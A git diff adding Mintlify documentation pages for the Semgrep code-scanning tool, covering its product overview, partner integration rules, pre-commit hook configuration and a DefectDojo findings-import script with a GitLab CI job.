Binary files /dev/null and b/mintlify-docs/images/saml-filling-IdpSSO-IdpID-X509-9b0c382094a3881dd89b8f6191e8db76.png differ
diff --git a/mintlify-docs/images/sast-dataflow-b2405db9f118fb42f013868d7b98b0e2.png b/mintlify-docs/images/sast-dataflow-b2405db9f118fb42f013868d7b98b0e2.png
new file mode 100644
index 0000000000..6056500831
Binary files /dev/null and b/mintlify-docs/images/sast-dataflow-b2405db9f118fb42f013868d7b98b0e2.png differ
diff --git a/mintlify-docs/images/sc-license-scanning-3f912a0589dcbe04cbeff9e9c84d7ab6.png b/mintlify-docs/images/sc-license-scanning-3f912a0589dcbe04cbeff9e9c84d7ab6.png
new file mode 100644
index 0000000000..444c7d782b
Binary files /dev/null and b/mintlify-docs/images/sc-license-scanning-3f912a0589dcbe04cbeff9e9c84d7ab6.png differ
diff --git a/mintlify-docs/images/sc-reachability-analysis-e502bad7703f0187525620fdf91de26f.png b/mintlify-docs/images/sc-reachability-analysis-e502bad7703f0187525620fdf91de26f.png
new file mode 100644
index 0000000000..91b421b5e8
Binary files /dev/null and b/mintlify-docs/images/sc-reachability-analysis-e502bad7703f0187525620fdf91de26f.png differ
diff --git a/mintlify-docs/images/sca-c66eab406c422df21626053404a44b3c.png b/mintlify-docs/images/sca-c66eab406c422df21626053404a44b3c.png
new file mode 100644
index 0000000000..f9b345f938
Binary files /dev/null and b/mintlify-docs/images/sca-c66eab406c422df21626053404a44b3c.png differ
diff --git a/mintlify-docs/images/scan-details-permalink-5e65828fa6622e2e7632a3cfc79846ca.png b/mintlify-docs/images/scan-details-permalink-5e65828fa6622e2e7632a3cfc79846ca.png
new file mode 100644
index 0000000000..286d4ac3f8
Binary files /dev/null and b/mintlify-docs/images/scan-details-permalink-5e65828fa6622e2e7632a3cfc79846ca.png differ
diff --git a/mintlify-docs/images/scan-process-oss-427bea71c525cfbd3559273fb52d8a86.svg b/mintlify-docs/images/scan-process-oss-427bea71c525cfbd3559273fb52d8a86.svg
new file mode 100644
index 0000000000..8984685ad9
--- /dev/null
+++ b/mintlify-docs/images/scan-process-oss-427bea71c525cfbd3559273fb52d8a86.svg
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/images/scan-process-sap-30c0b7588e2b985b2ede63900211b6e6.svg b/mintlify-docs/images/scan-process-sap-30c0b7588e2b985b2ede63900211b6e6.svg
new file mode 100644
index 0000000000..f0bab3f32e
--- /dev/null
+++ b/mintlify-docs/images/scan-process-sap-30c0b7588e2b985b2ede63900211b6e6.svg
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/images/scm-confirm-private-app-f8a940cfd4852aa5111c4f183737896b.png b/mintlify-docs/images/scm-confirm-private-app-f8a940cfd4852aa5111c4f183737896b.png
new file mode 100644
index 0000000000..6270195e98
Binary files /dev/null and b/mintlify-docs/images/scm-confirm-private-app-f8a940cfd4852aa5111c4f183737896b.png differ
diff --git a/mintlify-docs/images/scm-create-private-app-7839f74f2dc28de2f0a9c0961a20cf18.png b/mintlify-docs/images/scm-create-private-app-7839f74f2dc28de2f0a9c0961a20cf18.png
new file mode 100644
index 0000000000..96ddc1cf55
Binary files /dev/null and b/mintlify-docs/images/scm-create-private-app-7839f74f2dc28de2f0a9c0961a20cf18.png differ
diff --git a/mintlify-docs/images/security-program-workflows-c863dd509c10fc96a9f8fd5640f8a60f.svg b/mintlify-docs/images/security-program-workflows-c863dd509c10fc96a9f8fd5640f8a60f.svg
new file mode 100644
index 0000000000..6cef06cf21
--- /dev/null
+++ b/mintlify-docs/images/security-program-workflows-c863dd509c10fc96a9f8fd5640f8a60f.svg
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/images/semgrep-app-comment-github-beta-60a515fe87feaa9d54a84c22cb8c7971.png b/mintlify-docs/images/semgrep-app-comment-github-beta-60a515fe87feaa9d54a84c22cb8c7971.png
new file mode 100644
index 0000000000..cb5a338460
Binary files /dev/null and b/mintlify-docs/images/semgrep-app-comment-github-beta-60a515fe87feaa9d54a84c22cb8c7971.png differ
diff --git a/mintlify-docs/images/semgrep-app-latest-version-4c1c4995ad453ca03a44bf2dfe29d4c4.png b/mintlify-docs/images/semgrep-app-latest-version-4c1c4995ad453ca03a44bf2dfe29d4c4.png
new file mode 100644
index 0000000000..48321a0325
Binary files /dev/null and b/mintlify-docs/images/semgrep-app-latest-version-4c1c4995ad453ca03a44bf2dfe29d4c4.png differ
diff --git a/mintlify-docs/images/semgrep-assistant-reference-commits-1bb8ead23a7036c6b9d4c3dd05f414e8.png b/mintlify-docs/images/semgrep-assistant-reference-commits-1bb8ead23a7036c6b9d4c3dd05f414e8.png
new file mode 100644
index 0000000000..e678582aa6
Binary files /dev/null and b/mintlify-docs/images/semgrep-assistant-reference-commits-1bb8ead23a7036c6b9d4c3dd05f414e8.png differ
diff --git a/mintlify-docs/images/semgrep-ci-4c94be66f30fef156679254592d3e2b1.gif b/mintlify-docs/images/semgrep-ci-4c94be66f30fef156679254592d3e2b1.gif
new file mode 100644
index 0000000000..4e04075f8f
Binary files /dev/null and b/mintlify-docs/images/semgrep-ci-4c94be66f30fef156679254592d3e2b1.gif differ
diff --git a/mintlify-docs/images/semgrep-findings-in-wiz-87aefbc8c28ba9c86d5ba3f0361a6556.png b/mintlify-docs/images/semgrep-findings-in-wiz-87aefbc8c28ba9c86d5ba3f0361a6556.png
new file mode 100644
index 0000000000..76d29e9f8d
Binary files /dev/null and b/mintlify-docs/images/semgrep-findings-in-wiz-87aefbc8c28ba9c86d5ba3f0361a6556.png differ
diff --git a/mintlify-docs/images/semgrep.svg b/mintlify-docs/images/semgrep.svg
new file mode 100644
index 0000000000..e7ba2c338e
--- /dev/null
+++ b/mintlify-docs/images/semgrep.svg
@@ -0,0 +1,7 @@
+
diff --git a/mintlify-docs/images/sept-2023-assistant-findings-2dd52d74f6c35f8a928d898df97532c5.png b/mintlify-docs/images/sept-2023-assistant-findings-2dd52d74f6c35f8a928d898df97532c5.png
new file mode 100644
index 0000000000..230251b4c2
Binary files /dev/null and b/mintlify-docs/images/sept-2023-assistant-findings-2dd52d74f6c35f8a928d898df97532c5.png differ
diff --git a/mintlify-docs/images/settings-scm-remove-6fb3eb8b77d3a61239ff95d963806dc6.png b/mintlify-docs/images/settings-scm-remove-6fb3eb8b77d3a61239ff95d963806dc6.png
new file mode 100644
index 0000000000..d53c7bf591
Binary files /dev/null and b/mintlify-docs/images/settings-scm-remove-6fb3eb8b77d3a61239ff95d963806dc6.png differ
diff --git a/mintlify-docs/images/ssc-maven-local-8fff561a2deca1cf8e759f1e88096704.png b/mintlify-docs/images/ssc-maven-local-8fff561a2deca1cf8e759f1e88096704.png
new file mode 100644
index 0000000000..0c353dc012
Binary files /dev/null and b/mintlify-docs/images/ssc-maven-local-8fff561a2deca1cf8e759f1e88096704.png differ
diff --git a/mintlify-docs/images/sso-clientID-clientSecret-310403f630d93b528baaf02f4215c86d.png b/mintlify-docs/images/sso-clientID-clientSecret-310403f630d93b528baaf02f4215c86d.png
new file mode 100644
index 0000000000..5838e01c37
Binary files /dev/null and b/mintlify-docs/images/sso-clientID-clientSecret-310403f630d93b528baaf02f4215c86d.png differ
diff --git a/mintlify-docs/images/sso-redirect-url-6174b1e776a42c1c4915495349005d66.png b/mintlify-docs/images/sso-redirect-url-6174b1e776a42c1c4915495349005d66.png
new file mode 100644
index 0000000000..ec4bddc5a6
Binary files /dev/null and b/mintlify-docs/images/sso-redirect-url-6174b1e776a42c1c4915495349005d66.png differ
diff --git a/mintlify-docs/images/tooltip-disabled-finding-3438630f30150298a68ff7ba5065444a.png b/mintlify-docs/images/tooltip-disabled-finding-3438630f30150298a68ff7ba5065444a.png
new file mode 100644
index 0000000000..22afe2b6d2
Binary files /dev/null and b/mintlify-docs/images/tooltip-disabled-finding-3438630f30150298a68ff7ba5065444a.png differ
diff --git a/mintlify-docs/images/turn-off-sms-4b1b14b41b9fb0f8b3f2e9bffc2d96e8.png b/mintlify-docs/images/turn-off-sms-4b1b14b41b9fb0f8b3f2e9bffc2d96e8.png
new file mode 100644
index 0000000000..cc46f1ab68
Binary files /dev/null and b/mintlify-docs/images/turn-off-sms-4b1b14b41b9fb0f8b3f2e9bffc2d96e8.png differ
diff --git a/mintlify-docs/images/upgrade-guidance-flowchart-b8ff76ae3e794eecb0217fbbee21beef.png b/mintlify-docs/images/upgrade-guidance-flowchart-b8ff76ae3e794eecb0217fbbee21beef.png
new file mode 100644
index 0000000000..c318810fab
Binary files /dev/null and b/mintlify-docs/images/upgrade-guidance-flowchart-b8ff76ae3e794eecb0217fbbee21beef.png differ
diff --git a/mintlify-docs/images/wiz-finding-details-2-ab0b87b440f3033e44e9c9cd2a5eb5d7.png b/mintlify-docs/images/wiz-finding-details-2-ab0b87b440f3033e44e9c9cd2a5eb5d7.png
new file mode 100644
index 0000000000..e0d1c12bd9
Binary files /dev/null and b/mintlify-docs/images/wiz-finding-details-2-ab0b87b440f3033e44e9c9cd2a5eb5d7.png differ
diff --git a/mintlify-docs/images/workflow-2f8b67b8e36192523d64d2b7cc72d4cd.png b/mintlify-docs/images/workflow-2f8b67b8e36192523d64d2b7cc72d4cd.png
new file mode 100644
index 0000000000..8a257a9985
Binary files /dev/null and b/mintlify-docs/images/workflow-2f8b67b8e36192523d64d2b7cc72d4cd.png differ
diff --git a/mintlify-docs/images/workflow-architecture-4db0965849a21a7df14b80883b0fa4ab.png b/mintlify-docs/images/workflow-architecture-4db0965849a21a7df14b80883b0fa4ab.png
new file mode 100644
index 0000000000..93dbcaefb1
Binary files /dev/null and b/mintlify-docs/images/workflow-architecture-4db0965849a21a7df14b80883b0fa4ab.png differ
diff --git a/mintlify-docs/images/zcs-code-access-enabled-a492223d4f03823cdfcc88f42371197d.png b/mintlify-docs/images/zcs-code-access-enabled-a492223d4f03823cdfcc88f42371197d.png
new file mode 100644
index 0000000000..97aa0e3344
Binary files /dev/null and b/mintlify-docs/images/zcs-code-access-enabled-a492223d4f03823cdfcc88f42371197d.png differ
diff --git a/mintlify-docs/images/zcs-github-apps-840f39a3c2638010a403c42f3b125ecd.png b/mintlify-docs/images/zcs-github-apps-840f39a3c2638010a403c42f3b125ecd.png
new file mode 100644
index 0000000000..02355b9c3a
Binary files /dev/null and b/mintlify-docs/images/zcs-github-apps-840f39a3c2638010a403c42f3b125ecd.png differ
diff --git a/mintlify-docs/index.mdx b/mintlify-docs/index.mdx
new file mode 100644
index 0000000000..d3629cfefa
--- /dev/null
+++ b/mintlify-docs/index.mdx
@@ -0,0 +1,182 @@
+---
+title: "Semgrep Docs"
+sidebarTitle: "Home"
+description: "Read the documentation and get started with Semgrep. A fast static analysis engine for finding bugs, detecting dependency vulnerabilities, and enforcing code standards at editor, commit, and CI time."
+mode: custom
+---
+
+
+ Find bugs and reachable dependency vulnerabilities in code. Enforce your code standards on every commit.
+
+
+
+
+
+
+
+
+
+
+
+
Scan with Semgrep AppSec Platform
+
Deploy static application security testing (SAST), software composition analysis (SCA), and secrets scans from one platform.
+
+
+
+
+ Run your first Semgrep scan.
+
+
+ Deploy Semgrep to your organization quickly and at scale.
+
+
+ Triage and remediate findings; fine-tune guardrails for developers.
+
+
+ Enforce your organization’s coding standards with custom rules.
+
+
+
+
+
Supported languages
+
+
+
+
+
Product
+
Languages
+
+
+
+
+
Semgrep Code
+
+
+ Generally available (GA)
+ C and C++ • C# • Generic • Go • Java • JavaScript • JSON • Kotlin • Python • TypeScript • Ruby • Rust • JSX • PHP • Scala • Swift • Terraform
+
+
+ Beta
+ APEX • Elixir
+
+
+ Experimental
+ Bash • Cairo • Circom • Clojure • Dart • Dockerfile • Hack • HTML • Jsonnet • Julia • Lisp • Lua • Move on Aptos • Move on Sui • OCaml • R • Scheme • Solidity • YAML • XML
+
+
+
+
+
Semgrep Supply Chain
+
+
+ Generally available reachability
+ C# • Go • Java • JavaScript and TypeScript • Kotlin • PHP • Python • Ruby • Rust • Scala • Swift
+
+
+ Languages without support for reachability analysis
+ Dart • Elixir
+
+
+
+
+
Semgrep Secrets
+
+ Language-agnostic; can detect 630+ types of credentials or keys.
+
Added the ability to manually run full scans for the non-default or non-primary branches using Semgrep Managed Scans, as well as the ability to retry Semgrep Managed Scans that failed or didn't complete.
+
The interfile analysis engine has been redesigned to improve performance. These improvements change how findings are generated, which might result in additional true positives and fewer false positives.
The Finding Details page now displays the reason why a finding was ignored at the top. Users no longer need to go to the Activity section to see this information.
+
Added Supply Chain reachability coverage for Rust.
+
Added dependency path information to SBOM exports and the /issues API endpoint.
+
Findings of critical or high severity with high or medium confidence identified during diff-aware scans are now included in autotriage analysis.
diff --git a/mintlify-docs/integrating.mdx b/mintlify-docs/integrating.mdx
new file mode 100644
index 0000000000..44d6861dc0
--- /dev/null
+++ b/mintlify-docs/integrating.mdx
@@ -0,0 +1,16 @@
+---
+title: "Semgrep integration guide for partners"
+description: "We're excited that you're integrating Semgrep into your tooling! Our goal with Semgrep is to bring world-class security tools to developers based on our conviction that software will run the most exciting parts of the future. It's not something that we can do alone; we want to build a community around sharing programmatic knowledge about how to build secure software."
+---
+
+## Requirements for integrators
+
+* Do not resell rules from the Registry, unless you acquire an explicit license from Semgrep, Inc. Semgrep rules are [released under the Semgrep Rules License](https://github.com/semgrep/semgrep-rules/blob/develop/LICENSE), which prohibits redistribution in a commercial product.
+* State that you are using Semgrep; refer to Semgrep as capital S with the trademark: Semgrep™
+* Link to [semgrep.dev/login](https://semgrep.dev/login) to allow users to get an API token to pass to Semgrep so they can access the Pro Engine and rules.
+* Set `SEMGREP_INTEGRATION_NAME` in your environment to your domain name (for example, "xyz.com"). This helps us reproduce and debug issues with Semgrep in your environment.
+* Don't integrate `semgrep scan` in a CI setup. Instead use `semgrep ci`, which has diff-awareness built-in and is designed to be easy to integrate into dozens of CI environments. It's also much faster.
+* Enable metrics (`--metrics=on`) by default, which lets the Semgrep team prioritize languages and technologies to improve speed and accuracy.
+* Contribute new public rules back to the [semgrep-rules repository](https://github.com/semgrep/semgrep-rules). This helps us avoid community fragmentation and will automatically pull your rule into the searchable Registry on semgrep.dev; plus Semgrep will maintain it for you!
+
+For more information, please refer to [the section on licensing](/licensing) in our documentation. If you have additional questions, email us at [partners@semgrep.com](mailto:partners@semgrep.com).
diff --git a/mintlify-docs/introduction.mdx b/mintlify-docs/introduction.mdx
new file mode 100644
index 0000000000..c82e79cbcc
--- /dev/null
+++ b/mintlify-docs/introduction.mdx
@@ -0,0 +1,99 @@
+---
+title: "Introduction to Semgrep"
+description: "Semgrep is a software security tool that provides static application security testing (SAST), software composition analysis (SCA), and secrets detection. Semgrep identifies vulnerabilities in your source code without executing your code. It integrates with IDEs and CI/CD, and can also run from the Semgrep AppSec Platform."
+---
+
+Semgrep uses rules written in a simple schema that match code semantically. You can use out-of-the-box rules, apply community-maintained rules, or write your own to fit your workflow.
+
+Scan results can be triaged and remediated in the Semgrep AppSec Platform. The platform includes Semgrep Multimodal, which offers remediation guidance and Suggested fixes for Semgrep Code and Secrets findings.
+
+## Offerings
+
+* **Community Edition** (CE): is an open source static analysis tool that can find insecure coding patterns and security vulnerabilities in source code. Semgrep CE encompasses a SAST scanning engine, community rules, and integrated development environment plugins. The core scanner supports over 30 programming languages. [Get started with CE](/getting-started/quickstart-ce).
+
+* **Semgrep AppSec Platform** (Pro): is a commercial offering recommended for enterprise use cases. It shares the command-line interface with CE and adds additional capabilities. These include organization-wide managed scans, advanced Pro rules, software composition analysis (SCA), secrets detection, pull request comments, and AI-assisted triage and remediation. The platform now combines deterministic static analysis with AI-powered detection to extend coverage to complex business-logic flaws like insecure direct object reference (IDORs) and broken authentication. Semgrep AppSec Platform supports more than 35 programming languages, with new ones added regularly.
+
+
+ 
+
+
+[Learn more](/semgrep-pro-vs-oss) about the differences between CE and Pro offerings and the features that distinguish them.
+
+## The analysis workflow
+
+Semgrep's analysis workflow can be divided into three stages:
+
+### Deployment
+
+[Deployment](/deployment/core-deployment) is the process of integrating Semgrep into your developer and infrastructure workflows. Completing the deployment process provides you with the Semgrep features that meet your security program's needs. Semgrep does not require code access to complete the core deployment process. Your code is **not** sent anywhere.
+
+### Scan
+
+Scanning is the process of analyzing your code to identify security vulnerabilities, exposed secrets, or risks introduced through dependencies. Semgrep provides three scanning tools that help you detect and address issues early in development and throughout your software lifecycle:
+
+* [Semgrep Code](/semgrep-code/overview): a static application security testing (SAST) tool that detects security vulnerabilities in your **first-party code**. You can use it to scan local repositories or integrate it into your CI/CD pipeline to automate the continuous scanning of your code.
+
+* [Semgrep Supply Chain Analysis](/semgrep-supply-chain/overview): a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
+
+* [Semgrep Secrets](/semgrep-secrets/conceptual-overview): scans code to detect exposed API keys, passwords, and other credentials.
+
+### Triage and remediation
+
+After each scan, your findings are displayed in the Semgrep AppSec Platform. The filters provided allow you to manage and triage your findings.
+
+Triage is the process of reviewing, prioritizing, and managing findings identified during Semgrep scans. It helps security teams and developers decide which issues to address, ignore, or assign for further investigation. Within the Semgrep AppSec Platform, triage tools such as filtering, tagging, and assigning owners streamline this process and integrate seamlessly into existing workflows.
+
+Remediation is the process of fixing security issues identified during scanning. Semgrep supports remediation by providing detailed findings, contextual code examples, and, in many cases, Suggested fixes that can automatically or semi-automatically resolve vulnerabilities. These tools help developers quickly implement secure fixes while maintaining development speed.
+
+[Semgrep Multimodal](/semgrep-multimodal/overview) enhances this workflow by providing AI-powered security recommendations to help you understand findings, assess severity, and prioritize fixes. It can also suggest potential remediation, explain rule matches in context, and guide developers toward faster resolution of issues.
+
+## Ways to incorporate Semgrep into your development workflow
+
+| Goal | Recommended Option | Available In |
+| :--- | :--- | :--- |
+| Quick local checks | Run Semgrep locally | CE & Pro |
+| Catch issues before commit | IDE extension or pre-commit framework | CE & Pro |
+| Integrate into builds | CI/CD integration | CE & Pro |
+| Org-wide management & automation | Semgrep Managed Scans | Pro only |
+
+### Run Semgrep locally
+
+Run Semgrep directly on your machine to scan code before pushing changes. This is the quickest way to get started and experiment with rules. You can [run scans manually from the command line](/getting-started/cli) or set up local automations.
+
+### Use Semgrep in your IDE or before commits
+
+Incorporate Semgrep early in your development workflow by using a [supported IDE extension](/extensions/overview#official-ide-extensions) or by setting up the [pre-commit framework](/extensions/pre-commit), which runs Semgrep checks automatically before code is committed. This helps you catch issues before they ever reach your repository.
+
+### Add Semgrep to CI/CD
+
+[Integrate Semgrep into your CI/CD environment](/deployment/add-semgrep-to-ci) like GitHub Actions, GitLab CI/CD, Jenkins, CircleCI, Azure Pipelines, Bitbucket, or Buildkite by creating a job that your CI provider runs. After each scan, findings are sent to the Semgrep AppSec Platform for triage and remediation.
+
+
+**INFO**
+
+While CI/CD integration is supported, [Semgrep Managed Scans](#semgrep-managed-scans) are the recommended approach for organization-wide deployments.
+
+
+### Semgrep Managed Scans
+
+[Semgrep Managed Scans](/deployment/managed-scanning/overview) help teams adopt SAST, SCA, and secrets detection tools across their organization without complex setup. Scans are run automatically on Semgrep’s cloud infrastructure, and results appear directly in the AppSec Platform dashboard.
+
+**Key features:**
+- Minimal setup and no CI changes required
+- Configure scans through the AppSec Platform
+- Scan multiple repositories with a single integration
+- Integrate results into workflows via PR comments
+- Available for all Semgrep products (Code, Secrets, Supply Chain Analysis)
+- Automatic bi-weekly scans
+
+## Why Semgrep outperforms competitors (practical differences)
+
+- **No build required for most languages:** Semgrep runs on almost any repository without complex setup. Tools like CodeQL often need a buildable environment and use their own query language.
+- **Faster rule authoring and iteration:** Semgrep patterns resemble real code, making it easier to write, test, and refine rules without switching contexts. It allows for customization and extensibility without domain-specific languages, managing abstract syntax trees, or regex wrangling
+- **Actionable feedback during code review:** Developers receive immediate PR or MR comments based on organization-defined policies, allowing them to fix or ignore findings during review and reducing triage churn.
+- **Seamless path to deeper analysis:** With Semgrep’s platform features, teams can extend scanning to include cross-file and taint analysis, reachability checks, secrets detection, and supply chain analysis within the same workflow.
+- **Support for 30+ programming languages**
+
+Semgrep offers lower setup friction, fewer false positives in code review, simpler custom rules, and a tighter feedback loop between security and development teams.
+
+See the [comparisons with other tools](/faq/comparisons/codeql).
diff --git a/mintlify-docs/kb.mdx b/mintlify-docs/kb.mdx
new file mode 100644
index 0000000000..26818656a6
--- /dev/null
+++ b/mintlify-docs/kb.mdx
@@ -0,0 +1,32 @@
+---
+title: "Knowledge base"
+---
+
+Choose a KB category to explore:
+
+
+
+ 2 items
+
+
+ 11 items
+
+
+ 6 items
+
+
+ 25 items
+
+
+ 2 items
+
+
+ 21 items
+
+
+ 3 items
+
+
+ 13 items
+
+
diff --git a/mintlify-docs/kb/integrations.mdx b/mintlify-docs/kb/integrations.mdx
new file mode 100644
index 0000000000..aa993e6cc8
--- /dev/null
+++ b/mintlify-docs/kb/integrations.mdx
@@ -0,0 +1,15 @@
+---
+title: "Integrations"
+---
+
+
+
+ Understand how to customize Semgrep behavior when using it with pre-commit.
+
+
+ Learn how to connect Semgrep and DefectDojo.
+
+
+ Learn how to paginate responses from the Semgrep API.
+
+
diff --git a/mintlify-docs/kb/integrations/customize-semgrep-precommit.mdx b/mintlify-docs/kb/integrations/customize-semgrep-precommit.mdx
new file mode 100644
index 0000000000..a026593f89
--- /dev/null
+++ b/mintlify-docs/kb/integrations/customize-semgrep-precommit.mdx
@@ -0,0 +1,103 @@
+---
+title: "Customize Semgrep in pre-commit"
+---
+
+Semgrep offers two standard pre-commit hooks [outlined here](/extensions/overview/#pre-commit).
+
+- The `semgrep` hook is optimized to run with a provided set of rules, either local rules or rules from the Semgrep Registry.
+- The `semgrep-ci` hook is optimized to run with the rules from your organization in the Semgrep AppSec Platform, without sending results to the platform, since results from pre-commit are temporary and not linked to the final code in the repository.
+ - This hook requires the user be logged in locally to fetch the rules from the organization.
+
+You can also create your own Semgrep hooks for pre-commit if you have particular needs or preferences, such as if you want users to see the output of the Semgrep scan even if it passed, or if you want to limit the scan to a particular Semgrep product.
+
+## Show the scan output
+
+By default, pre-commit does not show the scan output if the hook passes. If you want your developers to see the output even if non-blocking findings are found, you can set the `verbose` option to print the output. To limit output to findings only (no scan information or diagnostics), redirect `stderr` to `/dev/null`, or use `--quiet`.
+
+This example is based on the `semgrep-ci` hook, but a similar adjustment would also work with the `semgrep` hook.
+
+```yaml
+repos:
+- repo: https://github.com/semgrep/pre-commit
+ rev: 'v1.101.0'
+ hooks:
+ - id: semgrep-verbose
+ entry: semgrep
+ args: ["ci", "--dry-run", "--baseline-commit", "HEAD" "2>/dev/null"]
+ verbose: true
+ pass_filenames: false
+```
+
+To print only a portion of the scan output, consider using shell-based text tools such as `awk`:
+
+```yaml
+repos:
+- repo: https://github.com/semgrep/pre-commit
+ rev: 'v1.126.0'
+ hooks:
+ - id: semgrep-scan-summary-only
+ entry: bash
+ args:
+ - -c
+ - |
+ semgrep ci --dry-run --baseline-commit HEAD 2>&1 \
+ | awk '/Scan Summary/,/^CI scan completed successfully\./'
+ pass_filenames: false
+ language: system
+ verbose: true
+```
+This example only prints the scan summary portion of the scan log. Using this approach, scan debugging output on `stderr` is redirected to `stdout` so that findings and debugging information appear in the same output stream. Then, the portion to show (the Semgrep scan summary) is selected using `awk`.
+
+## Limit the scan to a particular product
+
+Semgrep Secrets is an ideal product to run before commit, since it can help prevent secrets from ever making it into the Git history, even locally. To run only Secrets in pre-commit, add the product flag to the `args`:
+
+```yaml
+- repo: https://github.com/semgrep/pre-commit
+ rev: 'v1.101.0'
+ hooks:
+ - id: semgrep-secrets
+ pass_filenames: false
+ args: ["ci", "--dry-run", "--baseline-commit", "HEAD", "--secrets"]
+```
+
+## Scan with Pro rules and cross-function analysis
+
+The `semgrep-ci` hook requires the user to be logged in locally and runs with the engine configured in the organization, but the standard `semgrep` hook can also take advantage of local login to run with Pro rules and cross-function analysis.
+
+```yaml
+- id: semgrep
+ name: semgrep
+ entry: semgrep
+ args: ["--pro", "--disable-version-check", "--quiet", "--skip-unknown-extensions"]
+```
+
+This provides analysis across modified files during the pre-commit scan, which may catch additional vulnerabilities, or prevent false positives.
+
+## Customization tips
+
+### Useful arguments
+
+The provided hooks include useful arguments for Semgrep that you may want to include in your hooks as well.
+
+For example, for the `semgrep` hook that runs with a provided `--config`, the arguments also include:
+
+ - `--disable-version-check`: skip checking whether there's a new version of Semgrep (speeds up the check and avoids irrelevant output)
+ - `--quiet`: only print findings, not other messages
+ - `--skip-unknown-extensions`: if files are modified that aren't in a recognized language, skip them
+
+The `semgrep-ci` hook runs with the pre-commit option `pass_filenames: false`. This is important because `semgrep ci` doesn't expect a list of filenames; it just expects to scan the folder, so you should preserve this option in your usage.
+
+Adding `baseline-commit HEAD` performs a diff scan; this diff scan only scans the changes being added in the current commit (as intended for a pre-commit hook). It uses `--dry-run` so that findings that have no existence except in the local filesystem aren't added to the platform, which would otherwise result in clutter.
+
+### Entry point
+
+Both of the default hooks use `semgrep` as the `entry`, which means the command executed is just `semgrep` with the `args` provided. However, you can write your own `entry` point. This approach is used in the less commonly used `semgrep-docker` hook also available in the [semgrep/pre-commit repository](https://github.com/semgrep/pre-commit/blob/develop/.pre-commit-hooks.yaml).
+
+It can also be used with a standard Semgrep execution to set environment variables in addition to (or instead of) arguments:
+
+```bash
+ entry: sh -c 'env SEMGREP_RULES= semgrep scan --code --no-suppress-errors --baseline-commit HEAD'
+```
+
+In this case, setting `SEMGREP_RULES=` substitutes for supplying `--config` and `` in the `args`.
diff --git a/mintlify-docs/kb/integrations/defect-dojo-integration.mdx b/mintlify-docs/kb/integrations/defect-dojo-integration.mdx
new file mode 100644
index 0000000000..b46b6ee8bf
--- /dev/null
+++ b/mintlify-docs/kb/integrations/defect-dojo-integration.mdx
@@ -0,0 +1,157 @@
+---
+title: "How to connect Semgrep and DefectDojo"
+---
+
+[DefectDojo](https://www.defectdojo.com/) is a well-known vulnerability management tool. It allows you to gather security issues from other tools, including Semgrep. By integrating Semgrep findings into DefectDojo, security teams can more easily monitor their overall security posture.
+
+## Integration
+Follow these steps to prepare DefectDojo and generate Semgrep findings in the proper format:
+
+
+
+ In DefectDojo:
+
+ i. Create your [**product**](https://defectdojo.github.io/django-DefectDojo/usage/models/#products).
+ ii. In that DefectDojo product, create an [engagement](https://defectdojo.github.io/django-DefectDojo/usage/models/#engagement), called `semgrep`. This is a CI/CD engagement type and the name designates the CI/CD tool used.
+
+
+ Run semgrep as `semgrep ... --json > report.json` to generate a JSON report.
+
+
+
+Now, you are ready to use the [DefectDojo API](https://demo.defectdojo.org/api/v2/oa3/swagger-ui/).
+
+### DefectDojo API example
+
+To run API DefectDojo operations such as GET, POST, and DELETE, an API token is necessary. To get it, follow the [API guide](https://defectdojo.github.io/django-DefectDojo/integrations/api-v2-docs/).
+
+Once you have a token, store it as an environment variable named `DEFECT_DOJO_API_TOKEN`:
+```bash
+export DEFECT_DOJO_API_TOKEN=[YOUR_DEFECT_DOJO_TOKEN]
+```
+
+The DefectDojo API uses the `/api/v2/import-scan/` endpoint for the first import and the `/api/v2/reimport-scan` endpoint for following imports.
+
+These endpoints take the following parameters:
+
+- `file`: The Semgrep scan findings report or export in JSON format.
+- `scan_type`: A descriptive name for the scan type. In this example, the scan type is "Semgrep JSON Report".
+- `product_name`: The name of the product in DefectDojo to send the Semgrep findings report to.
+- `engagement_name`: The name of the engagement you created the preceding "Integration" section. In this example, `semgrep`.
+
+
+**INFO**
+
+The DefectDojo API allows identifying the parameters either by name or by ID. This example follows the **By name** approach.
+
+
+
+Here is an example snippet of a Python function using this endpoint:
+
+```python expandable
+def uploadToDefectDojo(is_new_import, token, url, product_name, engagement_name, filename):
+ multipart_form_data = {
+ 'file': (filename, open(filename, 'rb')),
+ 'scan_type': (None, 'Semgrep JSON Report'),
+ 'product_name': (None, product_name),
+ 'engagement_name': (None, engagement_name),
+ }
+
+ endpoint = '/api/v2/import-scan/' if is_new_import else '/api/v2/reimport-scan/'
+ r = requests.post(
+ url + endpoint,
+ files=multipart_form_data,
+ headers={
+ 'Authorization': 'Token ' + token,
+ }
+ )
+ if r.status_code != 200:
+ sys.exit(f'Post failed: {r.text}')
+ print(r.text)
+```
+
+The full version of this Python script can be found [here](https://github.com/r2c-CSE/semgrep-utilities/blob/main/integrations/defectdojo/import_semgrep_to_defect_dojo.py). Feel free to use this in your own environment after reviewing the script to make sure it works for you.
+
+### Running the script
+
+To continue with the preceding example and run the script, execute the following command:
+
+
+
+Where:
+
+- `DOJO_URL` is the URL where DefectDojo is.
+- `PRODUCT_NAME` is the DefectDojo product name.
+- `ENGAGEMENT_NAME` is the DefectDojo engagement name for that product.
+- `REPORT_FILE` is the Semgrep report path.
+
+## Integrating Semgrep and DefectDojo in a CI pipeline
+
+To prevent tampering with findings, it is crucial to import scan results to DefectDojo in the **same pipeline or CI job** as the scan itself.
+
+The following is an example of a GitLab job importing Semgrep findings to DefectDojo:
+
+```yaml expandable
+import-semgrep-to-defectdojo:
+ stage: import
+ image: python:3.9-bullseye
+ script:
+ - echo "Importing Semgrep scan to DefectDojo"
+ - pip3 install requests
+ - curl -O https://raw.githubusercontent.com/r2c-CSE/semgrep-utilities/main/integrations/defectdojo/import_semgrep_to_defect_dojo.py
+ # Adding checksum validation
+ - echo $IMPORT_SEMGREP_TO_DEFECTDOJO_SHA_CHECKSUM > sha-import-dd.tmp
+ - shasum -a 256 -U -c sha-import-dd.tmp
+ - python3 import_semgrep_to_defect_dojo.py --host $DEFECTDOJO_URL --product $PRODUCT --engagement semgrep --report report.json || true
+ rules:
+ # Scan changed files in MRs, (diff-aware scanning):
+ - if: $CI_MERGE_REQUEST_IID
+ # Scan mainline (default) branches and report all findings.
